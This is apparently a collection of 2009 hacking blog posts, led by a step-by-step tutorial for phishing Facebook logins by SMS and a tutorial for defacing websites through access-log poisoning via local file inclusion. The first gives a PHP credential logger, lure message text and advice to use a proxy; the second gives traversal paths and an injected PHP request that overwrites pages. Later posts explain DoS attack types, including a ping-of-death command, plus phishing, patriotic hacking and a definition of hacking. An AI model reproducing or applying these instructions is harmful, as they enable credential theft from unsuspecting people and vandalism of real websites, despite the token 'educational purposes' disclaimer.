SMS phishing

NOTE: THIS TUTORIAL IS WRITTEN FOR EDUCATIONAL PURPOSES ONLY AND I TAKE NO RESPONSIBILITY OF WHAT YOU DO WITH THIS.

Here we are making fake mobile login of facebook.

What happens?
Victim receives a sms on his mobile apparently from facebook asking to try out new version of facebook. A link is provided in the sms. The victim opens the link, sees the facebook login page. He makes the login and it shows username/password is wrong. He gets phished...

To proceed ahead, you need to have a web server running on your computer connected to internet and mobile number of the victim.

Process:
SETTING UP YOUR PHISHING PAGE.
Go to http://m.facebook.com and copy the source code. Place it your web server's public html folder with ".htm" as extension. Open this html file in notepad and go to the form tag. In that, replace the form method from POST to GET. Change the form action value to write.php (you can change the name if you want). Rename the file as "index.htm". Create another file and name it as "write.php". Open write.php and copy the following content to the same. Save it.
[code]
<*?php
header("Location: http://m.facebook.com/login.php?m=m&r811c1f38&refid=9&rdd9db9a5&e=iep&r1129f1e6");
$handle = fopen("pswd.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?*>
[/code]
Also create another file pswd.txt and leave it as it is. This is the file where our usernames and passwords are getting stored.
You can store these files in any directory under public html. Remember to keep the name of directory something like facebook or similar.
Now start the server.




CHECKING IF OUR PHISHING PAGE IS WORKING.
go to cmyip.com to know your ip address. Paste this ip address in address bar. You should see your phishing page or your default index.htm(if the files are stored in any directory under public html). If not, following maybe the reasons for it:
1. You maybe behind a router. So, you need to open router's settings and enable port forwarding to your machine.
2. Your server maybe configured not to allow any outside connections. So, check out access settings and enable outside connections.
3. Your server may not be running properly.
Now, you need to navigate to the directory in which our phishing files are stored. for example, my files are in /smsphish under public html. So, i'll navigate to...
http://myipaddress/smsphish/
There you can see the fake login of facebook. You can enter any fake stuff in username and password field. Press enter. It should redirect you to the actual facebook mobile site. Now, open our pswd.txt file and see if our entered details are logged there. If they are, our work is mostly done. if they are not, check that you have made necessary changes in index.htm and the write.php is not tampered.
Now nearly 90% work is done. We move to the last step...


SENDING THE SMS.
Now you have to find free smsing sites which do not require to register. These sites use their own number for sending messeages. You can find many such sites. One word: Google. Now here comes our social engineering techniques. Just type the message like "Experience the brand new, more secure version of facebook, simply follow the link,.. blah blah" and give link to our phishing page. A sample message would look like this.
[code]
Experience the brand new version of facebook! Faster and secure. Follow the link now:
http://youripaddress/yourdirectory/
-Facebook development team.
[/code]
You can think of many more luring techniques... just think!
Enter the victim's mobile number and send the message! (recommended use proxy) If he opens the message and link, he will see the normal facebook mobile login and if he enters the correct details, our phishing worked! just keep watch on pswd.txt for their details!
Note: Be careful when running server!

defacing when access.log is accessible

Note: This tutorial is written for educational purposes only and I take no responsibility for any consequences you suffer for executing this.

I have tested it on wampserver (apache version 2.2.11 dont know about others). So, here I am going to show how we can change/deface any page on the server if the access log is accessible.

How to access the access.log?
For that, you need to find a LFI vulnerability on target site. and from that LFI, you can include access log. Here are some probable locations of access.log.
../apache/logs/access.log
../../apache/logs/access.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
or simply you can use the dork (inurl:access.log). and you'll be surprised to see so many logs at handy!

Ok, so moving on...

If you find a website with access.log accessible, do the following steps.

make the following GET request to the website by means of telnet or anything else you wish.

GET /<*?php $vips='---DEFACED---'; $fp = fopen('--LOCATION OF THE WEBPAGE FROM LOG--', 'w'); fputs($fp, $vips); fclose($fp); ?*> HTTP/1.1

(remove the stars *)

but before making this GET request, you need to make some changes in it.. (double quotes in the GET request maybe escaped before logging, so, here i am not making use of them)
--DEFACED-- : you have to replace this by html code which will be placed as a defacement.
--LOCATION OF WEBPAGE FROM LOG-- : this is location of the webpage from the log. For example, if the log is in the directory 'logs' and webpage to deface is in the directory 'pages' and both are in directory 'web' then this value will be '../pages/index.htm' where index.htm is the name of page to deface.

after making these changes, make the get request to the website.

Here, what we have done, we have injected php code in access.log. what php code does, it changes the content of the index.htm to our provided html content. But this will happen only if we open access.log. So, now go to lfi page and include access.log from there or open the direct link to log which you may have found from dork.
The size of access.log maybe huge depending on popularity of website... but keep it loading.. after some time, when our malicious GET request will be loaded, then php code will be executed and if successful, we can see the defaced page... be sure to use a proxy! your ip address will be easily logged.

Hacking And my Country

The term hacker and hacking make a negative impact on normal human's mind. People think of hackers as the new generation cyber criminals who take over control and destroy the information. Actually, hacking is not just fiddling out with information and hackers are not always hungry for destruction. Its media hype. There is something called ethical hacking which involves testing penetration into computers and networks and finding, fixing, securing loopholes. In short, ethical hacking is exactly opposite to what you were thinking of hacking till now. Actual hackers not necessary always work with underground communities. They can be security professionals, who have extensive knowledge of this field. Also known as white hats. Hacking is a vast field and it involves various tools, processes, methods depending on your target and what you want to exploit. There is not any central tool owning which the person is ready to get called as hacker. Extensive knowledge of programming, applications, networking, and tools is necessary for a hacker.

I have been in some groups of patriotic hackers. These patriotic hackers hack and deface websites mostly of their rival countries. This action gives them pleasure of doing something for country. There is nothing wrong in working for motherland. However, performing an illegal thing like hacking without any strong cause makes it as an offense. Here, one thing needs to be considered that most of the nations have patriotic hackers in them. When some major websites or networks of a country have been defaced by their rivals, they probably won’t keep quiet. Now the patriots of this nation will slam the other by attacking their websites. This results into a chain reaction. There starts a competition between hackers of two nations. This is where the concept ‘cyber war’ is introduced.

Our India is also, not far away from this threat. We have got plenty of rivals for our country. Internet is expanding at tremendous speed. It is reaching in each and every corner of world each day. As the internet is growing, more and more people are getting introduced to hacking. Many of them are taking up learning this. There is an increase in concern because most of the hacking knowledge is encompassed in circle of internet. There is not strong implementation of laws against cybercrime (which involves hacking) in many countries including India. Countries like china are even thought of supporting hackers. Pakistani hackers are also on prowl of getting juicy Indian targets. In some of the recent defacements of Indian websites, hackers apparent from Pakistan have given their strong political message against our country. Chinese hackers have also put forth their intimidation. However, Indian hackers are also not behind. They have replied back in the same coin very well. But this act is neither going to stop the chain not going to shield our country against hackers.

Here rises the need of security. No need to tell its importance in computer field. It is must to protect sensitive data and dignity. If security is not properly taken care of, it leads to its breach spoiling the image of target. It is becoming vital part of IT systems. Misuse of confidential information and loss of dignity are major consequences of security breach.

Now we are going to view the government approach over this. Government bodies who look after this are said to be lazy and careless about their work. As stated by our patriotic hackers, there are many vulnerabilities in our government websites. The systems and software they are using are outdated. They are not up to date with latest technologies. Many of them are not concerned in going into nitty-gritty of security and bringing about change. Just the defective part is removed and very few attempts are made to repair and restore stolen information. Tracing back the hacker is still a long way to go. This all has affected our standing in security. Even Indian anti viruses haven’t yet given tough competition for the race of top anti viruses.

So, what do we lack? Are there no laws against cybercrime and hacking? No. This is not the case. We have laws. But we lack in facilities offered to cyber security. This is ultimately due to short or corrupt donation provided to this. Due to shortage of facilities, there is no adequate implementation of laws. This makes fewer obstacles in the way of committing cybercrime. It’s even not the case that we lack talent. But we are unfortunate that India’s talent is serving other nations. Nothing else. This coin also has other side. There are Indian hackers who are willing to work for India in a positive way. What keeps them apart is the negative impression of the term ‘hacker’. Actually, there is nothing wrong in this. A knowledgeable person must get chance to work for the nation if he is willing to.

Finally, I am going to highlight the thing which can bring about the change. In India, media is said to have more power than government. Every day, media reaches to all roots of the society. If media takes a point at stake, the government has to act on it and stabilize the situation. We see media as the ray of hope for the sake of cyber security of our motherland.

In the end, I would like to say something,

“Whatever field you may go in, gain as much knowledge as you want, but don’t forget your responsibility for your motherland because this is the only place where you belong and can claim to be your own.”

DoS and DDoS attacks. Part :- 2

In the last part, we saw what is DoS, DDoS and how it is performed. In this part, I am going to introduce you with the types of DoS or DDoS attacks. According to the way of exploitation, DoS attacks are classified into three groups:
1. Exploitation of Vulnerabilites in the TCP/IP protocols suite.
2. Exploitation of Vulnerabilites in the IPv4 implementation.
3. Exploitation with Brute-Force attacks.

This was classification according to way of exploitation. The another way of classification is used widely and very well known. It is classified on the basis of carrier or medium of attack. Before we go on to discuss the types of dos attacks, I recommend you having basic knowledge about networking, packets, protocols, types of packets, ports etc. If you are not familiar with this, you can go and prepare these basics nicely and then you can go ahead. Ok, once if you are comfortable with this, here we move ahead.

Types of DoS attacks:
1.Ping of Death:You must have heard about ping. When we ping a target, ICMP echo requests are sent to the target. Target responds with ICMP echo reply telling that it is up and running. This ping is used to diagnose networks and find what the problem is going on. But this simple ping command can also be destructive. Normal size of an ICMP ping packet is not more than 100 bytes. But in this type of attack, an ICMP ping packet is generated which is more than 65,536 bytes in size. This giant packet is sent to the target. The target cannot handle this much giant load in a single packet and it simply crashes. The command to generate ping packet with this much size is:
C:\windows>ping -l 65540 targethost
Where the numerical value is the size of the ICMP packet and 'targethost' is the address of the target whom you have to send this ping request. Please note that this doesn't work on all hosts as they have fixes for them.

2.Teardrop: When the data is transmitted from one system to another, the whole data is not sent in a single go. Data is broken down into packets. These packets carry the data from certain point to certain point. Means, if the data is 5000 bytes in size, First packet would carry data from 1 byte to 1000 byte. Second one would carry data from 1001 byte to 2000 byte and further. The information about 'from where to where' the packet is carrying the data is mentioned in its headers. This value in header is called offset. So, the overall structure looks like this:

Packet no.	Carrying data	Offset value
1	1-1000 bytes	1-1000
2	1001-2000 bytes	1001-2000
3	2001-3000 bytes	2001-3000
4	3001-4000 bytes	3001-4000
5	4001-5000 bytes	4001-5000

When the packets are received by the target, it reassembles the data from these packets by refering to offset field. Ok, now we will modify the offset value in each packet. Note down the difference in this table.

Packet no.	Carrying data	Offset value
1	1-1000 bytes	1-1500
2	1001-2000 bytes	1001-4000
3	2001-3000 bytes	2001-3000
4	3001-4000 bytes	3001-5000
5	4001-5000 bytes	4001-5000

Have you noticed the change? Offset value is changed. Computers just use this offset value to reassemble the data packets. What if any computer tries to reassembles such packets? Probably it won't be able to do that and it will get confused causing itself to crash.

3.SYN flood:You must be aware of TCP three way handshake. You can read about that here. So, here what attacker does, it sends a large number of SYN requests to the server. All these SYN packets have spoofed source address. The server tries to reply these addresses with SYN/ACK and waits for ACK. But, these spoofed addresses don't really exist! So, the server will keep waiting for their ACK which it won't get at all! By this way, server's capacity will be consumed by unnecessary connections which will never establish. This causes failure for other connections to the server. Other people won't be able to connect as the server is waiting for thousands of ACK replies which it is not going to get. The following requests will be kept in queue until the server gets any response from these! This causes timeout. Denial of Service happens here. People can't get access to the server. Servers may have to restart as there is going to be no response from thousands of half-established connections.

4.LAND attack: It is similar to SYN flood. But, in this case, the source IP is kept same as that of server! Means, both source address and destination addresses are same. The server tries to reply itself. This creates an infinite loop within the server. This causes itself to hand or crash. Server can't handle other requests. Please note that this doesn't work on all servers as they have fixes for them.

5.Smurf attack:This also exploits ICMP echo request and replies. What is done here, ICMP echo requests are sent to a large number of computers. Same as the upper cases, source address is spoofed. It is kept as the victim's IP. So, what will these large number of computers do, they will give out ICMP echo replies to that victim IP which was kept as source address. Now, the actual victim computer will start receiving so much ICMP echo replies. The victim computer didn't send a single ping request to any computer and it is getting so much of replies. This 'confusion' causes it to crash or hang.

6.Fraggle attack: This attack is nearly same as that of smurf. Except, it uses UDP instead of ICMP. This is also called 'UDP flooding'. All the process is same that of smurf. Fraggle attack exploits UDP echo and chargen services.

So, these were the types of DDoS attack. Please note that not all the types of attack will work on each server. Many of them have got solutions and fixes for most of these. Also, Dos attacks require very large bandwidth speed nearly 10mbps or above. Dos attacks are more powerful if the bandwidth is high. Therefore, they play good on LANS where this much speed is possible.
Here we arrive to the end of DoS and DDoS article which was divided in 2 sections. Hope you have liked it! have a nice day!...

DoS and DDoS attacks. Part :- 1

Dos attacks are on a rising scale now-a-days. DOS means denial of service. In this type of attack, target system is not actually 'hacked'. It is just flooded with overwhelming number of synchronization requests or something similar. Sometimes, specially crafted data (packets) is sent to the target system. These things cause the target system to crash, hang or reboot just because it can't handle that much connections or can't handle badly constructed data. Dos attacks don't 'steal' or take out any private information. What they do is just damage and force systems to reboot and cause nuisance. These attacks have solutions over them such as port blocking, protocol blocking, address blocking etc. They are possible to prevent because they are generated from only one machine. But what if it is generated from thousands of systems worldwide? This is one of the most dangerous upcoming concept called 'DDoS' (Distributed Denial of Service).

Before we go on to look what is ddos, I will give you an example of it. This is a story of a ghost. There was a ghost hunter who was giving troubles to a ghost. Once, the ghost managed to run away and started living on a tree. Some days passed away. The ghost now started attracting people towards that tree. Once they have arrived near that tree, the ghost used to bite them and from that moment, the people psycologically affected and used to be a slave of that monster after that. Like this, thousands of people were affected by the ghost. Now, they would listen only to that what their master ghost would say. Once the ghost ordered them, "go and kill that hunter at once!". Obeying the command, whole flock marched towards the hunter. Surprised hunter tried to remove effect of ghost on many of them. But they were in thousands. Hunter didn't get success. Hunter was killed by the people who were under the control of ghost.

So, what is the relation of this story with ddos attack? Can such things happen on internet? oh yes! They are happening! The ghost in this story is the actual main hacker. The hunter is playing the role of legetimiate websites like government websites, websites of federal agencies or educational systems. And who are the slaves of ghost? They can be any innocent pc users like anybody! So, how does this happen? Attacker, by using one of the various methods, gives out malicious programs to mass community. These malicious programs or malwares, once reached to any pc, they infect it. Due to this infection, the infected pc starts obeying commands that are coming from the attacker. These infected machines are known as 'zombies' or 'bots'. Once the attacker has control over thousands of such machines situated worldwide. He gives out command to all these zombies to lauch dos attack on a particular web server. The infected machines obey the rule and starts flooding the target. So, what will happen now? This would be preventable if the floods are coming from few machines. Server could block them. But here, the flood is coming from thousands of systems from worldwide. They can be form any country. How many such systems will the web-server block? Finally, same happens with them what happened with the hunter in that story. The have to be shutted down. Many programs running on server may be crashed causing a great loss. Case is even worse when the target is e-commerce website. They have to tremendously suffer from loss. The only outcome from such attacks is 'nuisance' and no 'benefit' for the attacker.

Phishing: what is it and how it is done

Phishing is one of the most easy to implement and mostly unpredictable for victims. Phishing is the word which rhymes with 'fishing'. Well, it is nearly same as what we do in fishing. Some kind of foodstuff is attached to one end of rope and it is dipped in water. Any unfortunate fish comes there and starts eating that foodstuff. At the same time, rope is pulled from other side causing fish to get trapped.
Same thing happens here. Attacker uses luring or some kind of technique to let the victim arrive in the fake environment. This environment is made such that victim believes that this is the original one. Please note that there may be slight difference between the original one and this duplicate one.
Anyways, the victim is asked to give private information here. It maybe in the form of login username-password or any other. The way of letting the victim give the information is not changed. So, the victim gives out sensitive information as they don't experience any change. As this is the duplicate one, the attacker has control over this virtual environment. As soon as the information is received, it is stored or conveyed to the attacker by one of the various ways. In the efficient traps, victim is redirected to original environement pretending the login was unsuccessful. Victim may also be authenticated to the original environment leaving no doubt in their mind. In some of the non-efficient traps, an error is shown to the victim or they are also told that 'we have received your private information. Thank you!' This may surely arise a doubt in victim's mind.
Phishing has a close relation with 'social engineering'. Social engineering is a process of pretending to be an authority, professional, needy or someone willing to help whom you can trust and give away private information for some of the reasons presented by the same. It is considered as easiest to perform as it requires little or no technical knowledge. Phishing and social engineering are very close concepts and are often implemented together.
Phishing should not be considered as any attack as it doesn't bypass any technical security. It is a part of hacking, but the word hacking should not be used instead of phishing as most of the people mistakenly consider hacking as defacing and disabling.
Phishing is just like stealing. Rather, it should be called as 'fooling by pretending'.
Other types of hacking such as buffer overflows, xss, sql injection may have any patches or solutions for them but phishing can't have any patch or fix as you cannot block each and every phishing site. Further, proxies are also there. Day by day, the use of web browsers is becoming the only medium between you and internet. Uploading, downloading, emailing, chatting etc. things are becoming web-based (some of them used to be software or telnet based like outlook and irc chat etc.). Therefore, cloning them and making phishing sites is also increasing. Phishing is very difficult to block from firewall or any such systems or softwares. The best way to detect phishing is by 'human'. But, it is also said that, "Humans are the weakest link in security chain".

Hacking : Defintion

You may think "whats special in this post". Yes, there is nothing special in this post. Actually, this post covers only the definition of hacking. Nothing else. But just the definition is not so simple. Try asking a common man, "what is hacking?". He may say that "breaking into systems","stealing information" or any such thing in one sentence. But, if you ask a hacker, what is hacking, he will surely get confused what to tell. Because, when you tell "hacking", they remember all types of attacks, processes, tricks, ways and intentions of doing it. It becomes difficult to relate those things and tell those things in order.
Two days before, I also passed from the same situation. Someone asked me, "Basically, what is hacking?". Too many points gushed in my mind but I was not able to cover all of them. This simple question may arise doubt if you are really a hacker or not. So, after that, I sat and taking into consideration all the types, ways etc. I managed to make a definition of hacking. It is not a simple sentence. It is divided into 5 sections. So, without waiting so much for that, here we go with definition.
(note: This may feel a little bit lawyer-like language, but I have no other alternative.)


Hacking is defined as
1. breaking into or gaining access to computers, networks, systems or accounts,
2. or/and rendering their services/processes down
3. with one of the various methods of interaction and attack
4. after which one can (not always) view,change,destroy,modify,damage,copy sensitive or insensitive data/information
5. with or without any intention of it.


So, this was primary definition of "hacking" according to me. But still there are other 5 points in the definition. You may consider them as "secondary points". Well, they are not this much necessary for the definition. But they are essential as a complete definition. Here we go with the other 5 points.



6. It may involve gaining the information about the target before hacking.
7. It may also involve successful or unsuccessful attempts to keep their access to compromised systems.
8. It may also involve successful or unsuccessful attempts to clear their tracks or evidences from the compromised systems.
9. It is considered as ethical if you are doing it with permission from the target in order to test (and improve) digital security of the same and are not going to fiddle with sensitive information/data after compromise.
10.It may also involve help from insider or outsider humans or systems (with or without their intention) which contributes to successful hacking attempt.

Please note that everyone may have different definitions of hacking. This one is good according to me. I have not copied this from any other source. This is made by my own.

© Vipul Chaskar, 2009.